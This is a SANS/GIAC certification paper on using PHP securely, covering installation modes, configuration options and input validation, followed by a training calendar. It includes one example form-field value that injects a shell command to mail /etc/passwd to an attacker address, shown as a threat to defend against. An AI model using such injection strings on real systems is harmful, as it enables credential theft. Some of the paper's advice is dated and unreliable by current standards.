Global Information Assurance Certification Paper

Suggested Methods of Using PHP Securely

By: Kevin Miller

What is PHP?

PHP is a simple, and efficient scripting language that allows developers to quickly integrate active content into their Web application. Rasmus Lerdorf created PHP for his personal usage in 1994 so that he could keep track of who was looking at his online resume. In 1995 he released the first version of The Personal Home Page Tools. Rasmus continued to add various macros and common web page utilities such as a guest book and counter to the set of tools. In 1997, the PHP project left the personal workspace of Rasmus and a group of open source developers started to aid in the development process. The parser was rewritten from scratch as well as many other utilities that were included in the original PHP. With the release of PHP4, the Zend (http://www.zend.com) scripting engine was integrated into PHP to increase performance and support more third-party utilities. PHP can now run on nearly all major Web Servers without losing functionality between platforms. As of January 2001, it is estimated that PHP is used on more servers on the Internet than Microsoft's IIs server. (http://www.php.net/manual/en/intro-history.php).

One of the attractive features of PHP is that it supports a very wide variety of databases natively and there are many third-party utilities and libraries that can be integrated into PHP for added functionality. The following is a brief list from http://www.php.net/FAQ.php#3.3 of some of the most common add-ons, the PHP site has full links to the locations of these add-ons.

LDAP, Berkeley DB2, SNMP, GD, mSQL, mSQL, MySQL, IMAP, Sybase-CT, FreeType (libttf), Zlib, expat XML parser, PDFLib, mcrypt, mhash, t1lib, dmalloc, aspell, Readline

.

Preparing your server

It is very important to make sure that the server where PHP will be installed is secured before attempting to develop PHP applications. There are many useful articles on the SANS website as well as other places on the Internet to accomplish this. The following is a list of resources that will help to setup your server correctly.

The basic steps are:

1. Install and secure the Operating System
    a. Securing Solaris: Step-by-Step

http://www.sans.org/newlook/publications/solaris_toc.htm
   b. Securing Solaris by Angela Orebaugh
      http://www.sans.org/infosecFAQ/unix/sec_solaris.htm
   c. Windows NT Security: Step-by-Step
      http://www.sans.org/newlook/publications/ntstep.htm
   d. Securing Linux: Step-by-Step
      http://www.sans.org/newlook/publications/linux_toc.htm
   e. The Process of Hardening Linux by Chris Koutras
      http://www.sans.org/infosecFAQ/linux/hardening.htm
2. Install and Secure the web server software
   a. http://webservercompare.internet.com/
   b. http://www.apacheweek.com
   c. http://www.apache.org

Once these steps have taken place, you server should be ready to install PHP.

PHP Installation Options

Before Installing PHP, a decision has to be made as to which type of PHP installation you would like to have. There are advantages and disadvantages to each so each factor will have to be considered for your specific use of PHP.

- External Web Server Module
  - The main advantage of compiling PHP as an external web server module is that it is totally independent of the web server. The PHP version can be upgraded or changed without having to touch the web server software.
  - The main disadvantage of using an external web server module is performance. By their nature, external modules take time to load and execute.
  - Apache Modules inherit Apache's user permissions, which may pose a security threat. For example, since Apache generally runs as "nobody", a malicious script could be written that could modify or drop a database by using the privileged rights of "nobody" unless the database has some type of built-in access control. You can stop this type of attack by using one of the various types of Apache authorization such as LDAP or .htaccess files. (http://www.php.net/manual/en/security.apache.php)

- CGI Binary
  - PHP can be compiled as a CGI binary, this allows a user to separate PHP from their web server entirely. Each PHP script that is written will need to contain a statement that points to the path of the PHP binary just as in PERL.

        - Example: #!/usr/local/bin/php
    - CERT Advisory CA-96.11 advises against placing any type of interpreter in the cgi-bin so it is a good idea to create an isolated directory where PHP can be run. PHP has built in Security measure to prevent malicious attacks of this type as well. In the configuration file for PHP, you can specify the following security features:
        - **doc_root** This options only works when PHP is installed in Safe Mode. This specifies where the root document directory of PHP is. Scripts outside of this directory will not be interpreted.
        - **User_dir** This option only works when PHP is installed in Safe Mode. This variable specifies user directories so that scripts outside of this directory cannot be executed.
        - **--enable-force-cgi-redirect** This allows you to force redirection so that scripts cannot be access directly from the internet. Scripts are redirected to a url, hiding their full path names.

    http://www.php.net/manual/en/security.php#security.cgi
    http://www.devshed.com/Books/ProPHP/print.html

PHP installation is very straight forward, depending on your platform and installation type selection there are various documents throughout the internet on how to install correctly. Some of the best documents can be found at http://www.php.net, http://www.phpbuilder.com, http://www.devshed.com

Recommended PHP Configuration Options

There are various options that can be set in PHP to increase the overall security of your server. In this section I will discuss some of the most common and useful options.

Safe_mode

Safe mode is required for nearly all of the following options, safe mode allows PHP to impose more security restrictions than a normal configuration.

Safe_mode_exec_dir

This forces PHP to only execute scripts from a specified directory.

Open_basedir

This option allows you to control which directories PHP scripts are allowed to access files from. By default PHP will allow a script to access a file from anywhere so it is recommended that is option be set. By predefining valid directories, data can be protected.

Max_execution_time

This variable allows you to set a maximum execution time that a script can have. If a script runs longer than the allocated execution time, it will be terminated. This option will allow you to prevent attackers from tying up your web server with malicious scripts that could cause denial of service.

Memory_limit

This allows you to control the maximum amount of memory that a script can use. Using this will help to prevent buffer overflows which may lead to more serious threats.

Upload_tmp_dir

This designates where PHP will place files that are being uploaded

(http://www.wrox.com/Consumer/Store/Books/2963/29632002.htm)

Writing Secure PHP Code

PHP code is very simple to write since is it simply embedded into the html file. By default the PHP code delimiter is <? ?>, the delimiter can be changed if you desire.
Sample PHP Code:
(Index.html)

```
<HTML>
<HEAD>
        <TITLE>PHP Test>
</HEAD>
<BODY>
<? echo “This is a PHP script” ?>
</BODY>
</HTML>
```

As you can see it is very easy to add dynamic content to your existing web pages. Remember, if PHP is running as a CGI-binary that you may have to specify the path of the binary at the beginning of the script.

One of the most useful features of PHP is the ability to quickly process data from a HTML form and save this data into a database. Two parts are needed:

- First is the form script or HTML file, this file is just basic HTML using standard form submission tags, this form will submit the data entered by the user to the second script.
- The second script is the script that actually processes the data entered by the user. This is where caution must be taken to avoid malicious code being submitted and parsed by an unsuspecting PHP interpreter. This script should use various features that PHP has built in to verify that the data being submitted is valid and safe.
    - A very primitive attack could be as follows:
        - On a form where your customers enter their address information that is submitted to your database, an attacker could enter a string like this in the City field of

the form:

"Denver ; mail badguy@nowhere.com < /etc/passwd"

This would send your password file to the attack who could then crack your passwords and compromise your system even more.

This type of attack can easily be prevented by using the escapeshellcmd() command on data that is entered before you parse it. The escapeshellcmd will use escape characters to prevent shell commands from running within PHP.

Other ways to prevent unexpected data from compromising your system is to limit access to your system by the use of user authentication with .htaccess files or database user authentication. This will allow only authorized persons to submit data to your system. This is not always practical so the best advise is to use the escapeshellcmd as well as your own data verification scripts to makes sure the data received is valid data.

(http://www.devshed.com/Books/ProPHP/print.html)

Other PHP Security Considerations

When transferring sensitive data between scripts you can use various types of encryption functions that come with PHP to protect your data. The two most common cryptographic functions are mcrypt and mhash, both of which are very easy to implement and greatly increase your security. It is recommended that all sensitive data stored in a database be encrypted by PHP, don't rely on the security features of the database alone.

SSL can easily be implemented on your web server to encrypt sensitive traffic to and from your web server. PHP is not affected by the use of SSL since the SSL interacts directly with the web server. There are various SSL implementations, which can be used freely or at a cost. Here are some links to some of them:

http://www.modssl.org
http://www.openssl.org

(http://www.devshed.com/Books/ProPHP/print.html)

References:

http://www.php.net/manual/en/intro-history.php
http://www.php.net/FAQ.php
http://www.sans.org/newlook/publications/solaris_toc.htm

Securing Solaris: Step-by-Step
http://www.sans.org/newlook/publications/solaris_toc.htm

Securing Solaris by Angela Orebaugh
http://www.sans.org/infosecFAQ/unix/sec_solaris.htm

Windows NT Security: Step-by-Step
http://www.sans.org/newlook/publications/ntstep.htm

Securing Linux: Step-by-Step
http://www.sans.org/newlook/publications/linux_toc.htm

The Process of Hardening Linux by Chris Koutras
http://www.sans.org/infosecFAQ/linux/hardening.htm

http://webservercompare.internet.com/
http://www.apacheweek.com
http://www.apache.org
http://www.php.net/manual/en/security.apache.php
http://www.devshed.com/Books/ProPHP/print.html
http://www.wrox.com/Consumer/Store/Books/2963/29632002.htm)

Last Updated: May 30th, 2017

Upcoming Training

SANS San Francisco Summer 2017	San Francisco, CA	Jun 05, 2017 - Jun 10, 2017	Live Event
Security Operations Center Summit & Training	Washington, DC	Jun 05, 2017 - Jun 12, 2017	Live Event
SANS Houston 2017	Houston, TX	Jun 05, 2017 - Jun 10, 2017	Live Event
Community SANS Ottawa SEC401	Ottawa, ON	Jun 05, 2017 - Jun 10, 2017	Community SANS
SANS Rocky Mountain 2017	Denver, CO	Jun 12, 2017 - Jun 17, 2017	Live Event
SANS Charlotte 2017	Charlotte, NC	Jun 12, 2017 - Jun 17, 2017	Live Event
SANS Rocky Mountain 2017 - SEC401: Security Essentials Bootcamp Style	Denver, CO	Jun 12, 2017 - Jun 17, 2017	vLive
SANS Secure Europe 2017	Amsterdam, Netherlands	Jun 12, 2017 - Jun 20, 2017	Live Event
Community SANS Portland SEC401	Portland, OR	Jun 12, 2017 - Jun 17, 2017	Community SANS
SANS Minneapolis 2017	Minneapolis, MN	Jun 19, 2017 - Jun 24, 2017	Live Event
SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS Cyber Defence Canberra 2017	Canberra, Australia	Jun 26, 2017 - Jul 08, 2017	Live Event
SANS Paris 2017	Paris, France	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
Cyber Defence Japan 2017	Tokyo, Japan	Jul 05, 2017 - Jul 15, 2017	Live Event
SANS Cyber Defence Singapore 2017	Singapore, Singapore	Jul 10, 2017 - Jul 15, 2017	Live Event
Community SANS Minneapolis SEC401	Minneapolis, MN	Jul 10, 2017 - Jul 15, 2017	Community SANS
SANS Los Angeles - Long Beach 2017	Long Beach, CA	Jul 10, 2017 - Jul 15, 2017	Live Event
Community SANS Phoenix SEC401	Phoenix, AZ	Jul 10, 2017 - Jul 15, 2017	Community SANS
SANS Munich Summer 2017	Munich, Germany	Jul 10, 2017 - Jul 15, 2017	Live Event
Mentor Session - SEC401	Macon, GA	Jul 12, 2017 - Aug 23, 2017	Mentor
Mentor Session - SEC401	Ventura, CA	Jul 12, 2017 - Sep 13, 2017	Mentor
Community SANS Atlanta SEC401	Atlanta, GA	Jul 17, 2017 - Jul 22, 2017	Community SANS
Community SANS Colorado Springs SEC401	Colorado Springs, CO	Jul 17, 2017 - Jul 22, 2017	Community SANS
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
SANSFIRE 2017 - SEC401: Security Essentials Bootcamp Style	Washington, DC	Jul 24, 2017 - Jul 29, 2017	vLive
Community SANS Charleston SEC401	Charleston, SC	Jul 24, 2017 - Jul 29, 2017	Community SANS
Community SANS Fort Lauderdale SEC401	Fort Lauderdale, FL	Jul 31, 2017 - Aug 05, 2017	Community SANS
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Prague 2017	Prague, Czech Republic	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event